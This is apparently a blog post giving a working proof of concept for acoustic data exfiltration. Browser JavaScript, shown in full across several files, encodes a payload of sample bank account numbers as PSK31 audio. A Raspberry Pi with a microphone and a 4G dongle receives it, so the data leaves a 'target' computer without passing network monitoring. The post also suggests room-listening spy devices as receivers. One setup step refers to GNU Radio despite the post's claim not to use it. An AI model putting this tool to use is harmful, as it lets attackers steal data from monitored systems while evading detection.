Data exfiltration via PSK31 without GNU Radio

Using PSK31 to exfil data – a very basic proof of concept

Purpose
To exfiltrate data from a target computer without using any wired or wireless network which could be caught by network monitoring.

This example transmits over an audio card and receives with a microphone, so no additional radio hardware is required.

The aim is to reduce the amount of software installs needed, so GNU Radio is not used here.

Caveats
Please note this is just a basic proof of concept and further work is required to clean out some of the noise.

Hardware
Target computer where data needs to be extracted from.
Raspberry pi 3 with Raspbian installed and a 4G usb dongle for sending out the data.
A USB mini microphone for listening to incoming data on the raspberry pi.
A $5 mini USB microphone was used here:

Software
Transmiting computer with ability to execute JavaScript.
Receiving raspberry pi with fldigi program installed.

PSK31 Protocol
PSK31 is a Phase Shift Keying protocol often used by ham radio operators to send text messages over the air and has a data rate very close to typing speed. ASCII letters and numbers are encoded using a varicode, where a space is represented by 00. No character contains more than one 0 in a row.

JavaScript on transmitter and fldigi on receiver

This option removes the need for GNU Radio by using the fldigi program on the receiver and JavaScript on the transmitter.

Receiving computer (raspberry pi) configuration

Install raspbian e.g. dd the image onto an 8Gb sdcard [1].
Change the default passwords for pi & root users.

Configure the USB microphone
Add these libraries to the GR_BLOCKS_PATH environment variable.
For example, adding to ~/.profile:
GRC_BLOCKS_PATH="/home/sdr/grc-3rdparty-libs/gr-psk31-master/python"
Logout and back in again.

Next, plug in the USB mini microphone and test that it works:
$ arecord -l

Note: this records for 3 secs, make some test noises
$ arecord -D plughw:1,0 -d 3.0 test.wav
$ aplay test.wav

Next adjust the gain on the microphone
“Preferences”->”Audio Device Settings”. Select “USB PnP Sound Device (Alsa mixer)” from dropdown. Choose “Select Controls” and check the “Microphone” box and adjust the gain.

Install fldigi on raspberry pi receiver
$ sudo apt-get install fldigi

Run fldigi and click through the setup wizard (skip through the options).

Open fldigi menu item “Configure” -> “Soundcard”.

In the “Audio” tab, check the box for “PortAudio” and set “Capture” to “USB PnP Sound Device: Audio (hw:1,0)” (or whatever your microphone device number is). Also set “Playback” to default.

Running fldigi on the raspberry pi receiver
Select menu option “Op Mode” -> “PSK” -> “BPSK-31”.
Set frequency in frequency window to your chosen frequency e.g. 2000 Hz.

If the waterfall window is not showing, just open system audio settings and make sure the microphone is set to record using the red button. Raspbian menu -> “Preferences” -> “Audio Device Settings” -> select “USB PnP Sound Device (Alsa mixer)” -> check the red button on the microphone.

Transmitting computer configuration

Running the JavaScript PSK31 transmitter on the target
The following JavaScript code provides a great standalone option to send data via the target’s browser without the need to install additional tools.

https://github.com/jacobwgillespie/psk31

To make the dependencies easier for the target, the following file modifications are needed:

Create an index.html to include all the dependencies required by app.js. The contents of index.html:

<html> 
<script src="varicode.js">
</script> <script src="utils.js">
</script> <script src="psk.js">
</script> <script src="app.js">
</script> 
</html>

Remove the import and export keywords from the individual files.
The contents of app.js should now be:

const ENERGY_PER_BIT = 100;
const CARRIER_FREQUENCY = 2000;
const BPSK31_SAMPLE_RATE = 44100;
const BAUD_RATE = 31.25;
const HALF_BAUD_RATE = BAUD_RATE / 2;
const BIT_DURATION = BPSK31_SAMPLE_RATE / BAUD_RATE;
const PAYLOAD = 'bank account number: 12121212 bsb: 123456; bank account number: 13131313 bsb: 123456; bank account number: 14141414 bsb: 123456; bank account number: 15151515 bsb: 123456; bank account number: 16161616 bsb: 123456; bank account number: 17171717 bsb: 123456;';

const PAYLOAD_BITS = messageToBits(PAYLOAD);
const PAYLOAD_PHASES = bitsToPhases(PAYLOAD_BITS);
const PAYLOAD_AMPLITUDE_MODE = phasesToAmp(PAYLOAD_PHASES);

const HALF_PI = Math.PI / 2;

const bpsk31 = buildBinaryPhaseShiftKeyingOscillator(
  ENERGY_PER_BIT, BIT_DURATION, CARRIER_FREQUENCY
);

const app = (ctx) => {
  let startTime;

  // const ctx = new AudioContext(1, 0, BPSK31_SAMPLE_RATE);

  const spn = ctx.createScriptProcessor(16384, 1, 1);
  spn.onaudioprocess = (audioProcessingEvent) => {
    const outputData = audioProcessingEvent.outputBuffer.getChannelData(0);
    let currentPhase = 0;
    startTime = startTime || audioProcessingEvent.playbackTime;
    for (let sample = 0; sample < outputData.length; sample += 1) {
      const time = (audioProcessingEvent.playbackTime - startTime) + (sample / ctx.sampleRate);

      const frame = Math.floor(time * 1000 / HALF_BAUD_RATE);
      const progress = (time * 1000 % HALF_BAUD_RATE) / HALF_BAUD_RATE;

      const currentPhase = PAYLOAD_PHASES[frame];
      const ampMode = PAYLOAD_AMPLITUDE_MODE[frame];

      let ampModifier;
      switch (ampMode) {
        case 1:
          ampModifier = Math.cos(2 * Math.PI + Math.PI / 2 * progress);
          break;

        case 2:
          ampModifier = Math.cos(3/2 * Math.PI + Math.PI / 2 * progress);
          break;

        default:
          ampModifier = 1;
      }

      const result = bpsk31(time, currentPhase, ampModifier);
      outputData[sample] = result;
    }
  };

  spn.connect(ctx.destination);
};

const ctx = new AudioContext(); //(1, 0, BPSK31_SAMPLE_RATE);
app(ctx);

The contents of psk.js should now be:

// Parameter names come from the equation for BPSK here:
// https://en.m.wikipedia.org/wiki/Phase-shift_keying#Binary_phase-shift_keying_.28BPSK.29

const binaryPhaseShiftKeyingOscillator = (t, a, carrierFrequency, bit, ampModifier) =>
  ampModifier * a * Math.cos((2 * Math.PI * carrierFrequency * t) + (Math.PI * (1 - bit)));

const buildBinaryPhaseShiftKeyingOscillator = (
  energyPerBit,
  symbolDuration,
  carrierFrequency
) => {
  const a = Math.sqrt(2 * (energyPerBit / symbolDuration));
  return (t, bit, ampModifier) =>
    binaryPhaseShiftKeyingOscillator(t, a, carrierFrequency, bit, ampModifier);
};

The contents of utils.js should now be:

const messageToBits = message =>
  [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0].concat(message.split('').reduce(
    (bits, character) => bits.concat(VARICODE[character] || []).concat([0, 0]),
    []
  )).concat([0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]);

const bitsToPhases = (bits) => {
  const phases = [0, 1, 1, 0, 0, 1]; // 000
  bits.forEach((bit) => {
    const previousPhase = phases[phases.length - 1];
    const differentPhase = previousPhase === 0 ? 1 : 0;
    if (bit === 1) {
      phases.push(previousPhase);
      phases.push(previousPhase);
    } else {
      phases.push(previousPhase);
      phases.push(differentPhase);
    }
  });

  return phases;
};

const phasesToAmp = (phases) => {
  const amp = [];

  for (let i = 0; i < phases.length - 1; i += 2) {
    const first = phases[i];
    const second = phases[i + 1];

    if (first !== second) {
      amp.push(1);
      amp.push(2);
    } else {
      amp.push(0);
      amp.push(0);
    }
  }

  return amp;
};

The contents of varicode.js should now be:

const VARICODE = {
  '\x00': 1010101011, // NUL
  '\x01': 1011011011, // SOH
  '\x02': 1011101101, // STX
  '\x03': 1101110111, // ETX
  '\x04': 1011101011, // EOT
  '\x05': 1101011111, // ENQ
  '\x06': 1011101111, // ACK
  '\x07': 1011111101, // BEL
  '\x08': 1011111111, // BS
  '\x09': 11101111, // HT
  '\x0a': 11101, // LF
  '\x0b': 1101101111, // VT
  '\x0c': 1011011101, // FF
  '\x0d': 11111, // CR
  '\x0e': 1101110101, // SO
  '\x0f': 1110101011, // SI
  '\x10': 1011110111, // DLE
  '\x11': 1011110101, // DC1
  '\x12': 1110101101, // DC2
  '\x13': 1110101111, // DC3
  '\x14': 1101011011, // DC4
  '\x15': 1101101011, // NAK
  '\x16': 1101101101, // SYN
  '\x17': 1101010111, // ETB
  '\x18': 1101111011, // CAN
  '\x19': 1101111101, // EM
  '\x1a': 1110110111, // SUB
  '\x1b': 1101010101, // ESC
  '\x1c': 1101011101, // FS
  '\x1d': 1110111011, // GS
  '\x1e': 1011111011, // RS
  '\x1f': 1101111111, // US
  ' ': 1,
  '!': 111111111,
  '"': 101011111,
  '#': 111110101,
  $: 111011011,
  '%': 1011010101,
  '&': 1010111011,
  "'": 101111111,
  '(': 11111011,
  ')': 11110111,
  '*': 101101111,
  '+': 111011111,
  ',': 1110101,
  '-': 110101,
  '.': 1010111,
  '/': 110101111,
  0: 10110111,
  1: 10111101,
  2: 11101101,
  3: 11111111,
  4: 101110111,
  5: 101011011,
  6: 101101011,
  7: 110101101,
  8: 110101011,
  9: 110110111,
  ':': 11110101,
  ';': 110111101,
  '': 111010111,
  '?': 1010101111,
  '@': 1010111101,
  A: 1111101,
  B: 11101011,
  C: 10101101,
  D: 10110101,
  E: 1110111,
  F: 11011011,
  G: 11111101,
  H: 101010101,
  I: 1111111,
  J: 111111101,
  K: 101111101,
  L: 11010111,
  M: 10111011,
  N: 11011101,
  O: 10101011,
  P: 11010101,
  Q: 111011101,
  R: 10101111,
  S: 1101111,
  T: 1101101,
  U: 101010111,
  V: 110110101,
  W: 101011101,
  X: 101110101,
  Y: 101111011,
  Z: 1010101101,
  '[': 111110111,
  '\\': 111101111,
  ']': 111111011,
  '^': 1010111111,
  _: 101101101,
  '`': 1011011111,
  a: 1011,
  b: 1011111,
  c: 101111,
  d: 101101,
  e: 11,
  f: 111101,
  g: 1011011,
  h: 101011,
  i: 1101,
  j: 111101011,
  k: 10111111,
  l: 11011,
  m: 111011,
  n: 1111,
  o: 111,
  p: 111111,
  q: 110111111,
  r: 10101,
  s: 10111,
  t: 101,
  u: 110111,
  v: 1111011,
  w: 1101011,
  x: 11011111,
  y: 1011101,
  z: 111010101,
  '{': 1010110111,
  '|': 110111011,
  '}': 1010110101,
  '~': 1011010111,
  '\x7F': 1110110101, // DEL
};

Object.keys(VARICODE).forEach((character) => {
  VARICODE[character] = VARICODE[character].toString(10).split('').map(c => parseInt(c, 10));
});

Next, once you have configured the frequency and the message (PAYLOAD variable) you wish to send in app.js, launch the index.html and set the volume to about half way.

You should now see the message being received by fldigi on the raspberry pi.

Transmitting the data from the target
Click on the index.html file to transmit the message.

Receiving the data on the raspberry pi
The fldigi tool listens on multiple channels and displays the receiving text on the left hand side.

Notes
Other devices could be used instead of a raspberry pi e.g. the spy devices with a sim which call a number to send the audio to when it hears audio in the room.

Web Bluetooth would also be an interesting option to explore.

Work still remains to clean up the signal and reduce the noise, especially when using the cheap USB microphones.

References
[1] https://www.raspberrypi.org/documentation/installation/installing-images/
[2] JavaScript code for sending PSK31 data
[3] Fast Light Digital modem application (fldigi)

Leave a Reply

Your email address will not be published. Required fields are marked *